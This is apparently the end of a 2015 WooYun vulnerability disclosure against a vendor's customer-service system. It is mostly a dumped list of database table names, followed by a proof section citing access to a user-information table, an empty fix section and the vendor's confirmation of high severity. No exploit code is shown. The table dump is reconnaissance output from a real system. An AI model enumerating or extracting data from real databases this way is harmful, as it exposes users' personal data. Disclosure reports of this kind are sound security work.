| EXP_VER_REPORT_UPGREG          |
| EXP_VER_REQVERDETAIL           |
| EXP_VER_RETREAT                |
| EXP_VER_TO_ATTACHMENT          |
| EXP_VER_TRAINREGDETAIL         |
| EXP_VER_TRAINUPGREG            |
| EXP_VER_UPGPLAN                |
| EXP_VER_UPGREGMODIFY           |
| EXP_VER_UPGSOLUTION            |
| EXP_VER_UPGSUMMARY             |
| EXP_VER_UPGSUSPEND             |
| EXP_VER_VERLICENSE             |
| EXP_VER_VISITASSIGN            |
| EXP_VER_VISITBILL              |
| EXP_VER_VISITBILLITEMS         |
| FEEDBACK_BASIC_FLOW            |
| FEEDBACK_BASIC_PAGES           |
| FEEDBACK_BASIC_ROLEPAGES       |
| FEEDBACK_BASIC_SOURCE          |
| FEEDBACK_BASIC_TYPE            |
| FEEDBACK_FLOW_DEAL             |
| FEEDBACK_FLOW_LOGEVENT         |
| FEEDBACK_FLOW_REGLOG           |
| FEEDBACK_FLOW_REGLOGEXTEND     |
| FEEDBACK_FLOW_TASKSPECIFY      |
| FEEDBACK_FLOW_VISIT            |
| KPA_BASIC_ANALYSELOG           |
| KPA_FLOW_EVENT                 |
| KPA_FLOW_PROBLEMANALYSE        |
| KPA_FLOW_PUBLISH_TECH          |
| KPA_FLOW_RDGROUPSPECIFY        |
| KPA_FLOW_TASKSPECIFY           |
| MICROSOFTDTPROPERTIES          |
| MLOG$_CALL_BASIC_BRAND         |
| MLOG$_CSC_BASIC_CARRIER        |
| MLOG$_CSC_BASIC_CUSTOMER       |
| MLOG$_CSC_BASIC_PRODSTAIRM     |
| MLOG$_CSC_OST_SALESNUMBER      |
| MLOG$_CSC_OST_SERIALNUMBER     |
| MLOG$_OST_BASIC_BRAND          |
| MLOG$_OST_BASIC_SUPPLIER       |
| MLOG$_OUTGOODS_V               |
| NEW_CUSTOMER                   |
| NEW_CUSTOMER_DATA              |
| ORG_CSCCOMPATIBLE              |
| OST_BASIC_BRAND                |
| OST_BASIC_FLOW                 |
| OST_BASIC_INFOREG              |
| OST_BASIC_INFOREG_ABOLISH      |
| OST_BASIC_INFOREG_CLOB         |
| OST_BASIC_MODE                 |
| OST_BASIC_PAGES                |
| OST_BASIC_PREADVICE            |
| OST_BASIC_ROLEPAGES            |
| OST_BASIC_SUPPLIER             |
| OST_BASIC_TABLEVIEW            |
| OST_FLOW_AUDIT                 |
| OST_FLOW_DEAL                  |
| OST_FLOW_EVALUATE              |
| OST_FLOW_LOGEVENT              |
| OST_FLOW_SPCONFIRM             |
| OST_INFOREG_EDIT               |
| OUTGOODS                       |
| OUTGOODS_V                     |
| OUTLINE_TMP                    |
| PLAN_TABLE                     |
| PRODUCTTREE                    |
| P_CALL_ACCESSINGPOPEDOM        |
| P_CALL_AREAFRAME               |
| P_CALL_ASSISTAPPLYLOG          |
| P_CALL_ASSISTLOG               |
| P_CALL_ASSSITDETAIL            |
| P_CALL_BASIC_ATTACHFILE        |
| P_CALL_CALLBACKAUD             |
| P_CALL_DEALCONSULTING          |
| P_CALL_DMS_ASSIGN              |
| P_CALL_DMS_AUDIT               |
| P_CALL_DMS_UPDATE              |
| P_CALL_ENGSKILLMANAGE          |
| P_CALL_FAULTDEAL               |
| P_CALL_FAULTOBV                |
| P_CALL_FAULTUPGRADEAUD         |
| P_CALL_FAULTUPGRADEREQ         |
| P_CALL_FAULT_BOARDREPAIR       |
| P_CALL_FAULT_OLFORWARD         |
| P_CALL_FAULT_TRACELOG          |
| P_CALL_FROMOUTSOURCED          |
| P_CALL_FROMVERSIONUPGRADE      |
| P_CALL_INTERRUPTTYPE           |
| P_CALL_LOGEVENT                |
| P_CALL_LOGREG                  |
| P_CALL_LOGREG_1                |
| P_CALL_LOGREG_EXTEND           |
| P_CALL_MANAGERAUD              |
| P_CALL_PHASE_FAULTOBV          |
| P_CALL_QUESTIONCLOSEAUD        |
| P_CALL_QUEUPCONFIRM            |
| P_CALL_REPORT                  |
| P_CALL_SPTLOG                  |
| P_CALL_SUBSTITUTE              |
| P_CALL_TASKSPECIFY             |
| P_CALL_TOOUTSOURCED            |
| P_CALL_TOQLOG                  |
| P_CALL_TOVERSIONUPGRADE        |
| P_CALL_VISIT_BILLS             |
| P_CALL_VISIT_BILL_DETAILS      |
| P_CSC_BASIC_DEPTINFO           |
| P_CSC_BASIC_FMAILALERTSC       |
| P_CSC_BASIC_PRODEXTEND         |
| P_CSC_BASIC_PRODQDEPTMAP       |
| P_CSC_BASIC_SENDMAIL           |
| P_CSC_BASIC_SUSPENDREASON      |
| P_CSC_BASIC_USERINFO           |
| P_CSC_CUSTOMER_AREA            |
| P_CSC_DEPT_FUNCDETAIL          |
| P_CSC_FAULTMAILALERT           |
| P_CSC_FAULT_SUSPENDLOG         |
| P_CSC_FMAILALERTLOFFICE        |
| P_CSC_FMAILALERTPROD           |
| P_CSC_NOTIFYINFO               |
| P_CSC_OSTPRO_AFFIRMCHANGE      |
| P_CSC_OSTPRO_AFFIRMSTOCK       |
| P_CSC_OSTPRO_APPLYUPG          |
| P_CSC_OSTPRO_AUDITSTOCK        |
| P_CSC_OSTPRO_DISPATCH          |
| P_CSC_OSTPRO_FAULTDEAL         |
| P_CSC_OSTPRO_MRTDECISION       |
| P_CSC_OSTPRO_PROCESSWAY        |
| P_CSC_OSTPRO_QUOTE             |
| P_CSC_OSTPRO_REDISPATCH        |
| P_CSC_OSTPRO_SCAUDIT           |
| P_CSC_OSTPRO_SELFPROCESS       |
| P_CSC_OSTPRO_UPGAUDIT          |
| P_CSC_OST_ALERTCONFIG          |
| P_CSC_OST_ALERTMAPDEPT         |
| P_CSC_OST_ALERTMAPPROD         |
| P_CSC_OST_ALERTMAPTYPE         |
| P_CSC_OST_ALERTMAPUSER         |
| P_CSC_OST_CHANGERESPLAN        |
| P_CSC_OST_EVENT                |
| P_CSC_OST_FLOW                 |
| P_CSC_OST_LOGINFO              |
| P_CSC_OST_OSTTYPE              |
| P_CSC_OST_PROBLEMTYPE          |
| P_CSC_OST_REGISTERTYPE         |
| P_CSC_OST_SCENE                |
| P_CSC_OST_STOCKPROJECT         |
| P_CSC_OST_STOCKQUOTE           |
| P_CSC_OST_STOCKSTATUS          |
| P_CSC_OST_STOCKUNIT            |
| P_CSC_OST_TIMECONFIG           |
| P_CSC_OST_TYPEDEPTMAP          |
| P_CSC_OST_VALIDATECLOSE        |
| P_CSC_PERMCARRIARMAP           |
| P_CSC_PERMISSIONAREAMAP        |
| P_CSC_PERMISSIONCUSTMAP        |
| P_CSC_PERMISSIONDEPTMAP        |
| P_CSC_PERMISSIONPRODMAP        |
| P_CSC_PERMISSIONSCOPE          |
| P_CSC_PRODSUBCENTERMAP         |
| P_CSC_PUTOFFCALLBACK           |
| P_CSC_QM_EVENT                 |
| P_CSC_QM_MANAGERDEAL           |
| P_CSC_QM_MAUDIT                |
| P_CSC_QM_M_APPLYCLOSE          |
| P_CSC_QM_M_FEEDBACK            |
| P_CSC_QM_M_REJECT              |
| P_CSC_QM_QUALITYLOG            |
| P_CSC_QM_VALIDSOLVED           |
| P_CSC_QM_WF_REDISPATCH         |
| P_CSC_ROLETEMPLATE             |
| P_CSC_ROLETEMPLATEMAPPING      |
| P_CSC_SUBWARRANTYOFFICE        |
| P_CSC_SUSPENDAPPLYEVENT        |
| P_CSC_TS_AUDIT                 |
| P_CSC_TS_BASICINFO             |
| P_CSC_TS_EVENT                 |
| P_CSC_TS_EXECUTE               |
| P_CSC_USERSUBWARRANTY          |
| P_KPA_BASIC_ANALYSELOG         |
| P_KPA_FLOW_EVENT               |
| P_KPA_PROBLEMANALYSE           |
| P_KPA_PUBLISH_TECH             |
| P_KPA_RDGROUPSPECIFY           |
| P_KPA_TASKSPECIFY              |
| P_OST_BASIC_ABOLISH            |
| P_OST_BASIC_INFOREG            |
| P_OST_BASIC_INFOREG_CLOB       |
| P_OST_FLOW_AUDIT               |
| P_OST_FLOW_DEAL                |
| P_OST_FLOW_EVALUATE            |
| P_OST_FLOW_LOGEVENT            |
| P_OST_FLOW_SPCONFIRM           |
| P_OST_INFOREG_CLOB             |
| P_OST_INFOREG_EDIT             |
| P_QM_AUD_MARKET_DECI           |
| P_QM_CLOSE_REPORT              |
| P_QM_CO_QUALITYLOG             |
| P_QM_DEV_GROUPING              |
| P_QM_DEV_PLAN                  |
| P_QM_DEV_SOLUTION              |
| P_QM_DEV_TASK_ASSIGN           |
| P_QM_FLOW_AUDIT                |
| P_QM_FLOW_CLOSEAUD             |
| P_QM_FLOW_DEAL                 |
| P_QM_FLOW_DEALAUD              |
| P_QM_FLOW_DIVGROAUD            |
| P_QM_FLOW_DIVGROUP             |
| P_QM_FLOW_EDITLOG              |
| P_QM_FLOW_ERRORCLOSE           |
| P_QM_FLOW_REPLY                |
| P_QM_FLOW_RESOLVEREPORT        |
| P_QM_FLOW_TASKALLOT            |
| P_QM_FLOW_UPGAUD               |
| P_QM_FLOW_UPGREPORT            |
| P_QM_MARKET_DECI               |
| P_QM_PROBLEMSOURCE             |
| P_QM_QDEAL                     |
| P_QM_REJECT_SOLUTION           |
| P_QM_REQ_MARKET_DECI           |
| P_QM_SALERPAUDIT               |
| P_QM_SCDECI                    |
| P_QM_SOLUTION_CONFIRM          |
| P_QM_SOLUTION_VERIFY           |
| P_QM_SUBMIT_SOLUTION           |
| P_QM_TIMECONFIG                |
| P_QM_TRACELOG                  |
| P_QM_UPGRADE_AUDIT             |
| P_QM_UPGRADE_REPORT            |
| P_QM_WF_AUDIT_EPLAN            |
| P_QM_WF_AUD_MARKET_DECI        |
| P_QM_WF_CLOSE_REPORT           |
| P_QM_WF_CO_QUALITYLOG          |
| P_QM_WF_DEV_GROUPING           |
| P_QM_WF_DEV_PLAN               |
| P_QM_WF_DEV_SOLUTION           |
| P_QM_WF_DEV_TASK_ASSIGN        |
| P_QM_WF_MARKET_DECI            |
| P_QM_WF_QDEAL                  |
| P_QM_WF_REJECT_SOLUTION        |
| P_QM_WF_REQ_MARKET_DECI        |
| P_QM_WF_REVIEWREPORT           |
| P_QM_WF_REVIEW_DUTY            |
| P_QM_WF_SALERPAUDIT            |
| P_QM_WF_SCDECI                 |
| P_QM_WF_SOLUTION_CONFIRM       |
| P_QM_WF_SOLUTION_VERIFY        |
| P_QM_WF_SUBMIT_SOLUTION        |
| P_QM_WF_UPGRADE_AUDIT          |
| P_QM_WF_UPGRADE_REPORT         |
| P_TECH_ADMIN_ASSIGNTECH        |
| P_TECH_ANALYSIS                |
| P_TECH_CARRYLOG                |
| P_TECH_CARRYREPORT             |
| P_TECH_DEALER                  |
| P_TECH_GOTO_VERUPGRADE         |
| P_TECH_LOGEVENT                |
| P_TECH_MANAGERAUD              |
| P_TECH_POINT                   |
| P_TECH_REQUISITION             |
| P_TECH_REQ_PROD                |
| P_TECH_REQ_SALEDEPT            |
| P_TECH_TASKSPECIFY             |
| P_TECH_VERUPGRADE              |
| P_VEROPELOG                    |
| P_VERPRODUCTRDMDOC             |
| P_VERPRODUCTUNIT               |
| P_VERUPGRADEUNIT               |
| P_VER_ATTACHMENTLIST           |
| P_VER_CORRESPONDING            |
| P_VER_CSM_AUD_CLOSE            |
| P_VER_FLOW_DOWNLOAD            |
| P_VER_FLOW_EVENT               |
| P_VER_FLOW_HRCOST              |
| P_VER_FLOW_PMOPEN              |
| P_VER_FLOW_UPGREG              |
| P_VER_PRODSTAIRCHECK           |
| P_VER_RELEASE                  |
| P_VER_REPORT_PLAN              |
| P_VER_REPORT_SOLUTION          |
| P_VER_REPORT_SUMMARY           |
| P_VER_REPORT_UPGREG            |
| P_VER_REQVERDETAIL             |
| P_VER_RETREAT                  |
| P_VER_TO_ATTACHMENT            |
| P_VER_TRAINREGDETAIL           |
| P_VER_TRAINUPGREG              |
| P_VER_UPGPLAN                  |
| P_VER_UPGREGMODIFY             |
| P_VER_UPGSOLUTION              |
| P_VER_UPGSUMMARY               |
| P_VER_UPGSUSPEND               |
| P_VER_VERLICENSE               |
| P_VER_VISITASSIGN              |
| P_VER_VISITBILL                |
| P_VER_VISITBILLITEMS           |
| QM_ALERT_MAIL                  |
| QM_BASIC_FLOW                  |
| QM_BASIC_PAGES                 |
| QM_BASIC_ROLEPAGES             |
| QM_BASIC_TIMECONFIGURE         |
| QM_FLOW_AUDIT                  |
| QM_FLOW_CLOSEAUD               |
| QM_FLOW_DEAL                   |
| QM_FLOW_DEALAUD                |
| QM_FLOW_DIVGROAUD              |
| QM_FLOW_DIVGROUP               |
| QM_FLOW_EDITLOG                |
| QM_FLOW_ERRORCLOSE             |
| QM_FLOW_REPLY                  |
| QM_FLOW_RESOLVEREPORT          |
| QM_FLOW_TASKALLOT              |
| QM_FLOW_UPGAUD                 |
| QM_FLOW_UPGREPORT              |
| QM_MAILCONFIGURE               |
| SNP_CHECK_TAB                  |
| STAT_TAB                       |
| SYNC_CSCTOELITE_LOG            |
| SYNC_ELITETOCSC_LOG            |
| SYN_TSM_ATTACHMENT_V           |
| TECH_ADMIN_ASSIGNTECH          |
| TECH_BACKFROM_VERUPGRADE       |
| TECH_BASIC_MODE                |
| TECH_BASIC_PAGES               |
| TECH_BASIC_REQUISITION         |
| TECH_BASIC_REQUISITION_TMP     |
| TECH_BASIC_REQ_PROD            |
| TECH_BASIC_REQ_SALEDEPT        |
| TECH_BASIC_ROLEPAGES           |
| TECH_BASIC_TECHTYPE            |
| TECH_BASIC_VERSION             |
| TECH_CARRYLOG_DEALER           |
| TECH_CARRYLOG_POINT            |
| TECH_CARRYSATUS                |
| TECH_EX_OPERLOG                |
| TECH_FLOW_ANALYSIS             |
| TECH_FLOW_CARRYLOG             |
| TECH_FLOW_CARRYREPORT          |
| TECH_FLOW_LOGEVENT             |
| TECH_FLOW_MANAGERAUD           |
| TECH_FLOW_TASKSPECIFY          |
| TECH_GOTO_VERUPGRADE           |
| TEMP2_QUALITY                  |
| TEMPINT                        |
| TEMPTABLE_QUALITY              |
| TEMP_CALL_FAULTDEAL            |
| TEMP_CALL_FAULTOBV             |
| TEMP_CALL_FAULTUPTOSUBCNT      |
| TEMP_CALL_STATCHECK            |
| TEMP_ID_LOGREG                 |
| TEMP_PRODUCTFULLNAME           |
| TEMP_TABLE1                    |
| TEMP_VER                       |
| TMP_BASIC_CARRIER              |
| TMP_BASIC_CUSTOMER             |
| TMP_CONSULTLOG                 |
| TOAD_PLAN_SQL                  |
| TOAD_PLAN_TABLE                |
| T_CALL_LOGREG                  |
| T_CSC_OST_LOGINFO              |
| T_CSC_QM_QUALITYLOG            |
| VEROPELOG                      |
| VERPRODUCTRDMDOC               |
| VERPRODUCTUNIT                 |
| VERUPGRADEUNIT                 |
| VER_BASIC_ATTACHMENTLIST       |
| VER_BASIC_CLOSETYPE            |
| VER_BASIC_DOCRESPONSETYPE      |
| VER_BASIC_FLOW                 |
| VER_BASIC_FTP                  |
| VER_BASIC_FTPINFO              |
| VER_BASIC_PAGES                |
| VER_BASIC_PATCHTYPE            |
| VER_BASIC_PRODUCTROLE_BACKUP   |
| VER_BASIC_RELEASE              |
| VER_BASIC_RELEASE_20130907     |
| VER_BASIC_RELEASE_20131028     |
| VER_BASIC_ROLEPAGES            |
| VER_BASIC_ROLEPAGES_20130907   |
| VER_BASIC_SN                   |
| VER_BASIC_TABLEVIEW            |
| VER_BASIC_UPGSOLUTIONSTATUS    |
| VER_BASIC_UPGTYPE              |
| VER_BASIC_VERLICENSE           |
| VER_BASIC_VERTYPE              |
| VER_DOC_CORRESPONDING          |
| VER_EC_EXTRACT                 |
| VER_EX_LOG                     |
| VER_EX_MAILRECORD              |
| VER_FLOW_CSM_AUD_CLOSE         |
| VER_FLOW_DOWNLOAD              |
| VER_FLOW_DOWNLOG               |
| VER_FLOW_EVENT                 |
| VER_FLOW_HRCOST                |
| VER_FLOW_HRCOST_20130907       |
| VER_FLOW_HR_ACCOUNTDETAIL      |
| VER_FLOW_LMCHECK               |
| VER_FLOW_PMOPEN                |
| VER_FLOW_PRODSTAIRCHECK        |
| VER_FLOW_REQVERDETAIL          |
| VER_FLOW_RETREAT               |
| VER_FLOW_TRAINREGDETAIL        |
| VER_FLOW_TRAINUPGREG           |
| VER_FLOW_UPGPLAN               |
| VER_FLOW_UPGPLAN_20130907      |
| VER_FLOW_UPGREG                |
| VER_FLOW_UPGREGMODIFY          |
| VER_FLOW_UPGREG_20130907       |
| VER_FLOW_UPGREG_TMP            |
| VER_FLOW_UPGSOLUTION           |
| VER_FLOW_UPGSUMMARY            |
| VER_FLOW_UPGSUMMARY_20130907   |
| VER_FLOW_UPGSUSPEND            |
| VER_FLOW_VISITASSIGN           |
| VER_FLOW_VISITBILL             |
| VER_FLOW_VISITBILLITEMS        |
| VER_REPORT_PLAN                |
| VER_REPORT_SOLUTION            |
| VER_REPORT_SUMMARY             |
| VER_REPORT_UPGREG              |
| VER_TEMP_VER                   |
| VER_TO_ATTACHMENT              |
| VER_VISIT_ITEM                 |
| VER_VISIT_SUBITEM              |
| ZTESPT_PRODUCTFULLNAME         |
| ZTESPT_PRODUCTPROFESSIONAL     |
+--------------------------------+


漏洞证明：

CSC_BASIC_USERINFO表：

2.png

取某些关键字段看看：

4.jpg

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-21 08:22

厂商回复：

感谢~

最新状态：

暂无

漏洞评价：

评论